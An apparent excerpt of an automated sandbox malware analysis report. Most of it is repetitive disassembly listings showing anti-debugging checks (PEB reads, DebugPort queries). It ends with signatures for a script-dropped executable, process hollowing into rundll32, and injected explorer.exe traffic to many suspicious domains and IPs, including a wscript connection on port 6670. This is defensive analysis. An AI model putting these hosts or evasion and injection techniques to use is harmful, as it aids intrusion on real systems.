Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043D6DC9 mov ecx, dword ptr fs:[00000030h]	13_2_043D6DC9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043D6DC9 mov eax, dword ptr fs:[00000030h]	13_2_043D6DC9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043D6DC9 mov eax, dword ptr fs:[00000030h]	13_2_043D6DC9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0435E620 mov eax, dword ptr fs:[00000030h]	13_2_0435E620
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04394A2C mov eax, dword ptr fs:[00000030h]	13_2_04394A2C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04394A2C mov eax, dword ptr fs:[00000030h]	13_2_04394A2C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0440B260 mov eax, dword ptr fs:[00000030h]	13_2_0440B260
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0440B260 mov eax, dword ptr fs:[00000030h]	13_2_0440B260
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04428A62 mov eax, dword ptr fs:[00000030h]	13_2_04428A62
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0435AA16 mov eax, dword ptr fs:[00000030h]	13_2_0435AA16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0435AA16 mov eax, dword ptr fs:[00000030h]	13_2_0435AA16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0438A61C mov eax, dword ptr fs:[00000030h]	13_2_0438A61C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0438A61C mov eax, dword ptr fs:[00000030h]	13_2_0438A61C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04355210 mov eax, dword ptr fs:[00000030h]	13_2_04355210
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04355210 mov ecx, dword ptr fs:[00000030h]	13_2_04355210
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04355210 mov eax, dword ptr fs:[00000030h]	13_2_04355210
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04355210 mov eax, dword ptr fs:[00000030h]	13_2_04355210
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04373A1C mov eax, dword ptr fs:[00000030h]	13_2_04373A1C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0435C600 mov eax, dword ptr fs:[00000030h]	13_2_0435C600
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0435C600 mov eax, dword ptr fs:[00000030h]	13_2_0435C600
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0435C600 mov eax, dword ptr fs:[00000030h]	13_2_0435C600
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04388E00 mov eax, dword ptr fs:[00000030h]	13_2_04388E00
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04368A0A mov eax, dword ptr fs:[00000030h]	13_2_04368A0A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0439927A mov eax, dword ptr fs:[00000030h]	13_2_0439927A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0437AE73 mov eax, dword ptr fs:[00000030h]	13_2_0437AE73
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0437AE73 mov eax, dword ptr fs:[00000030h]	13_2_0437AE73
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0437AE73 mov eax, dword ptr fs:[00000030h]	13_2_0437AE73
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0437AE73 mov eax, dword ptr fs:[00000030h]	13_2_0437AE73
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0437AE73 mov eax, dword ptr fs:[00000030h]	13_2_0437AE73
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04411608 mov eax, dword ptr fs:[00000030h]	13_2_04411608
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0436766D mov eax, dword ptr fs:[00000030h]	13_2_0436766D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043E4257 mov eax, dword ptr fs:[00000030h]	13_2_043E4257
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04359240 mov eax, dword ptr fs:[00000030h]	13_2_04359240
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04359240 mov eax, dword ptr fs:[00000030h]	13_2_04359240
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04359240 mov eax, dword ptr fs:[00000030h]	13_2_04359240
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04359240 mov eax, dword ptr fs:[00000030h]	13_2_04359240
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04367E41 mov eax, dword ptr fs:[00000030h]	13_2_04367E41
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04367E41 mov eax, dword ptr fs:[00000030h]	13_2_04367E41
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04367E41 mov eax, dword ptr fs:[00000030h]	13_2_04367E41
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04367E41 mov eax, dword ptr fs:[00000030h]	13_2_04367E41
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04367E41 mov eax, dword ptr fs:[00000030h]	13_2_04367E41
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04367E41 mov eax, dword ptr fs:[00000030h]	13_2_04367E41
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0440FE3F mov eax, dword ptr fs:[00000030h]	13_2_0440FE3F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0440FEC0 mov eax, dword ptr fs:[00000030h]	13_2_0440FEC0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0436AAB0 mov eax, dword ptr fs:[00000030h]	13_2_0436AAB0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0436AAB0 mov eax, dword ptr fs:[00000030h]	13_2_0436AAB0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0438FAB0 mov eax, dword ptr fs:[00000030h]	13_2_0438FAB0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043552A5 mov eax, dword ptr fs:[00000030h]	13_2_043552A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043552A5 mov eax, dword ptr fs:[00000030h]	13_2_043552A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043552A5 mov eax, dword ptr fs:[00000030h]	13_2_043552A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043552A5 mov eax, dword ptr fs:[00000030h]	13_2_043552A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043552A5 mov eax, dword ptr fs:[00000030h]	13_2_043552A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04428ED6 mov eax, dword ptr fs:[00000030h]	13_2_04428ED6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043D46A7 mov eax, dword ptr fs:[00000030h]	13_2_043D46A7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0438D294 mov eax, dword ptr fs:[00000030h]	13_2_0438D294
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0438D294 mov eax, dword ptr fs:[00000030h]	13_2_0438D294
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043EFE87 mov eax, dword ptr fs:[00000030h]	13_2_043EFE87
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043676E2 mov eax, dword ptr fs:[00000030h]	13_2_043676E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043816E0 mov ecx, dword ptr fs:[00000030h]	13_2_043816E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04382AE4 mov eax, dword ptr fs:[00000030h]	13_2_04382AE4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04420EA5 mov eax, dword ptr fs:[00000030h]	13_2_04420EA5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04420EA5 mov eax, dword ptr fs:[00000030h]	13_2_04420EA5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04420EA5 mov eax, dword ptr fs:[00000030h]	13_2_04420EA5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04382ACB mov eax, dword ptr fs:[00000030h]	13_2_04382ACB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043836CC mov eax, dword ptr fs:[00000030h]	13_2_043836CC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04398EC7 mov eax, dword ptr fs:[00000030h]	13_2_04398EC7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0438E730 mov eax, dword ptr fs:[00000030h]	13_2_0438E730
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04428B58 mov eax, dword ptr fs:[00000030h]	13_2_04428B58
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04354F2E mov eax, dword ptr fs:[00000030h]	13_2_04354F2E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04354F2E mov eax, dword ptr fs:[00000030h]	13_2_04354F2E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0437F716 mov eax, dword ptr fs:[00000030h]	13_2_0437F716
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04428F6A mov eax, dword ptr fs:[00000030h]	13_2_04428F6A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043EFF10 mov eax, dword ptr fs:[00000030h]	13_2_043EFF10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043EFF10 mov eax, dword ptr fs:[00000030h]	13_2_043EFF10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0438A70E mov eax, dword ptr fs:[00000030h]	13_2_0438A70E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0438A70E mov eax, dword ptr fs:[00000030h]	13_2_0438A70E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04383B7A mov eax, dword ptr fs:[00000030h]	13_2_04383B7A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04383B7A mov eax, dword ptr fs:[00000030h]	13_2_04383B7A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0442070D mov eax, dword ptr fs:[00000030h]	13_2_0442070D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0442070D mov eax, dword ptr fs:[00000030h]	13_2_0442070D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0435DB60 mov ecx, dword ptr fs:[00000030h]	13_2_0435DB60
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0436FF60 mov eax, dword ptr fs:[00000030h]	13_2_0436FF60
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0441131B mov eax, dword ptr fs:[00000030h]	13_2_0441131B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0435F358 mov eax, dword ptr fs:[00000030h]	13_2_0435F358
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0435DB40 mov eax, dword ptr fs:[00000030h]	13_2_0435DB40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0436EF40 mov eax, dword ptr fs:[00000030h]	13_2_0436EF40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04384BAD mov eax, dword ptr fs:[00000030h]	13_2_04384BAD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04384BAD mov eax, dword ptr fs:[00000030h]	13_2_04384BAD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04384BAD mov eax, dword ptr fs:[00000030h]	13_2_04384BAD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04368794 mov eax, dword ptr fs:[00000030h]	13_2_04368794
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0438B390 mov eax, dword ptr fs:[00000030h]	13_2_0438B390
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043D7794 mov eax, dword ptr fs:[00000030h]	13_2_043D7794
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043D7794 mov eax, dword ptr fs:[00000030h]	13_2_043D7794
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043D7794 mov eax, dword ptr fs:[00000030h]	13_2_043D7794
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04382397 mov eax, dword ptr fs:[00000030h]	13_2_04382397
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04361B8F mov eax, dword ptr fs:[00000030h]	13_2_04361B8F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04361B8F mov eax, dword ptr fs:[00000030h]	13_2_04361B8F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0440D380 mov ecx, dword ptr fs:[00000030h]	13_2_0440D380
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0441138A mov eax, dword ptr fs:[00000030h]	13_2_0441138A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043937F5 mov eax, dword ptr fs:[00000030h]	13_2_043937F5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043803E2 mov eax, dword ptr fs:[00000030h]	13_2_043803E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043803E2 mov eax, dword ptr fs:[00000030h]	13_2_043803E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043803E2 mov eax, dword ptr fs:[00000030h]	13_2_043803E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043803E2 mov eax, dword ptr fs:[00000030h]	13_2_043803E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043803E2 mov eax, dword ptr fs:[00000030h]	13_2_043803E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043803E2 mov eax, dword ptr fs:[00000030h]	13_2_043803E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0437DBE9 mov eax, dword ptr fs:[00000030h]	13_2_0437DBE9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04425BA5 mov eax, dword ptr fs:[00000030h]	13_2_04425BA5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043D53CA mov eax, dword ptr fs:[00000030h]	13_2_043D53CA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043D53CA mov eax, dword ptr fs:[00000030h]	13_2_043D53CA
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01059100 mov eax, dword ptr fs:[00000030h]	23_2_01059100
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01059100 mov eax, dword ptr fs:[00000030h]	23_2_01059100
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01059100 mov eax, dword ptr fs:[00000030h]	23_2_01059100
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01060100 mov eax, dword ptr fs:[00000030h]	23_2_01060100
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01060100 mov eax, dword ptr fs:[00000030h]	23_2_01060100
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01060100 mov eax, dword ptr fs:[00000030h]	23_2_01060100
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01074120 mov eax, dword ptr fs:[00000030h]	23_2_01074120
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01074120 mov eax, dword ptr fs:[00000030h]	23_2_01074120
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01074120 mov eax, dword ptr fs:[00000030h]	23_2_01074120
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01074120 mov eax, dword ptr fs:[00000030h]	23_2_01074120
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01074120 mov ecx, dword ptr fs:[00000030h]	23_2_01074120
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0108513A mov eax, dword ptr fs:[00000030h]	23_2_0108513A
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0108513A mov eax, dword ptr fs:[00000030h]	23_2_0108513A
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01053138 mov ecx, dword ptr fs:[00000030h]	23_2_01053138
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01111951 mov eax, dword ptr fs:[00000030h]	23_2_01111951
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0107B944 mov eax, dword ptr fs:[00000030h]	23_2_0107B944
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0107B944 mov eax, dword ptr fs:[00000030h]	23_2_0107B944
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0105395E mov eax, dword ptr fs:[00000030h]	23_2_0105395E
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0105395E mov eax, dword ptr fs:[00000030h]	23_2_0105395E
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0105C962 mov eax, dword ptr fs:[00000030h]	23_2_0105C962
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0111E962 mov eax, dword ptr fs:[00000030h]	23_2_0111E962
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0105B171 mov eax, dword ptr fs:[00000030h]	23_2_0105B171
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0105B171 mov eax, dword ptr fs:[00000030h]	23_2_0105B171
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01128966 mov eax, dword ptr fs:[00000030h]	23_2_01128966
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0107C182 mov eax, dword ptr fs:[00000030h]	23_2_0107C182
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0108A185 mov eax, dword ptr fs:[00000030h]	23_2_0108A185
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01082990 mov eax, dword ptr fs:[00000030h]	23_2_01082990
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01084190 mov eax, dword ptr fs:[00000030h]	23_2_01084190
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0111A189 mov eax, dword ptr fs:[00000030h]	23_2_0111A189
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0111A189 mov ecx, dword ptr fs:[00000030h]	23_2_0111A189
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0105519E mov eax, dword ptr fs:[00000030h]	23_2_0105519E
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0105519E mov ecx, dword ptr fs:[00000030h]	23_2_0105519E
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_010861A0 mov eax, dword ptr fs:[00000030h]	23_2_010861A0
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_010861A0 mov eax, dword ptr fs:[00000030h]	23_2_010861A0
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_010D69A6 mov eax, dword ptr fs:[00000030h]	23_2_010D69A6
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_010D51BE mov eax, dword ptr fs:[00000030h]	23_2_010D51BE
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_010D51BE mov eax, dword ptr fs:[00000030h]	23_2_010D51BE
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_010D51BE mov eax, dword ptr fs:[00000030h]	23_2_010D51BE
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_010D51BE mov eax, dword ptr fs:[00000030h]	23_2_010D51BE
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_011149A4 mov eax, dword ptr fs:[00000030h]	23_2_011149A4
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_011149A4 mov eax, dword ptr fs:[00000030h]	23_2_011149A4
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_011149A4 mov eax, dword ptr fs:[00000030h]	23_2_011149A4
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_011149A4 mov eax, dword ptr fs:[00000030h]	23_2_011149A4
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_010799BF mov ecx, dword ptr fs:[00000030h]	23_2_010799BF
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_010799BF mov ecx, dword ptr fs:[00000030h]	23_2_010799BF
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_010799BF mov eax, dword ptr fs:[00000030h]	23_2_010799BF
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_010799BF mov ecx, dword ptr fs:[00000030h]	23_2_010799BF
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_010799BF mov ecx, dword ptr fs:[00000030h]	23_2_010799BF
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_010799BF mov eax, dword ptr fs:[00000030h]	23_2_010799BF
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_010799BF mov ecx, dword ptr fs:[00000030h]	23_2_010799BF
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_010799BF mov ecx, dword ptr fs:[00000030h]	23_2_010799BF
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_010799BF mov eax, dword ptr fs:[00000030h]	23_2_010799BF
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_010799BF mov ecx, dword ptr fs:[00000030h]	23_2_010799BF
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_010799BF mov ecx, dword ptr fs:[00000030h]	23_2_010799BF
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_010799BF mov eax, dword ptr fs:[00000030h]	23_2_010799BF
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_011119D8 mov eax, dword ptr fs:[00000030h]	23_2_011119D8
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0105B1E1 mov eax, dword ptr fs:[00000030h]	23_2_0105B1E1
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0105B1E1 mov eax, dword ptr fs:[00000030h]	23_2_0105B1E1
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_0105B1E1 mov eax, dword ptr fs:[00000030h]	23_2_0105B1E1
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_010531E0 mov eax, dword ptr fs:[00000030h]	23_2_010531E0
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_010E41E8 mov eax, dword ptr fs:[00000030h]	23_2_010E41E8
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_011289E7 mov eax, dword ptr fs:[00000030h]	23_2_011289E7
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01056800 mov eax, dword ptr fs:[00000030h]	23_2_01056800
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01056800 mov eax, dword ptr fs:[00000030h]	23_2_01056800
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01056800 mov eax, dword ptr fs:[00000030h]	23_2_01056800
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01124015 mov eax, dword ptr fs:[00000030h]	23_2_01124015
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_01124015 mov eax, dword ptr fs:[00000030h]	23_2_01124015
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_010D7016 mov eax, dword ptr fs:[00000030h]	23_2_010D7016
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_010D7016 mov eax, dword ptr fs:[00000030h]	23_2_010D7016
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Code function: 23_2_010D7016 mov eax, dword ptr fs:[00000030h]	23_2_010D7016

Source: C:\Users\user\AppData\Local\Temp\bin.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\bin.exe

Code function: 3_2_0001A140 LdrLoadDll,

3_2_0001A140

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\System32\wscript.exe

File created: bin.exe.0.dr

Jump to dropped file

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Domain query: www.ratebill.com
Source: C:\Windows\explorer.exe	Network Connect: 160.153.136.3 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.muddybootslife.com
Source: C:\Windows\explorer.exe	Domain query: www.topings33.com
Source: C:\Windows\explorer.exe	Network Connect: 185.53.179.171 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.localbloom.online
Source: C:\Windows\explorer.exe	Domain query: www.pdwfifi.com
Source: C:\Windows\explorer.exe	Domain query: www.rasheedabossmoves.com
Source: C:\Windows\explorer.exe	Network Connect: 23.231.99.207 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.68chengxinle.com
Source: C:\Windows\explorer.exe	Domain query: www.84866.xyz
Source: C:\Windows\explorer.exe	Domain query: www.halecamilla.site
Source: C:\Windows\explorer.exe	Network Connect: 137.220.133.198 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 45.39.111.146 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 35.241.47.216 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 170.39.76.27 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.medyumgalip.com
Source: C:\Windows\explorer.exe	Domain query: www.wps-mtb.com
Source: C:\Windows\System32\wscript.exe	Domain query: dilshadkhan.duia.ro
Source: C:\Windows\explorer.exe	Domain query: www.refreshertowels.com
Source: C:\Windows\explorer.exe	Network Connect: 162.0.230.89 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 207.174.214.35 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 66.235.200.145 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.jlbwaterdamagerepairseattle.com
Source: C:\Windows\explorer.exe	Domain query: www.sekolahkejepang.com
Source: C:\Windows\explorer.exe	Network Connect: 52.17.85.125 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.brawlhallacodestore.com
Source: C:\Windows\explorer.exe	Domain query: www.hengyuejiguang.com
Source: C:\Windows\explorer.exe	Network Connect: 185.134.245.113 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 103.247.11.212 80	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Network Connect: 91.193.75.133 6670	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.gafcbooster.com
Source: C:\Windows\explorer.exe	Network Connect: 172.67.140.71 80	Jump to behavior

Sample uses process hollowing technique

Source: C:\Users\user\AppData\Local\Temp\bin.exe

Section unmapped: C:\Windows\SysWOW64\rundll32.exe base address: F00000

Jump to behavior

Maps a DLL or memory area into another process

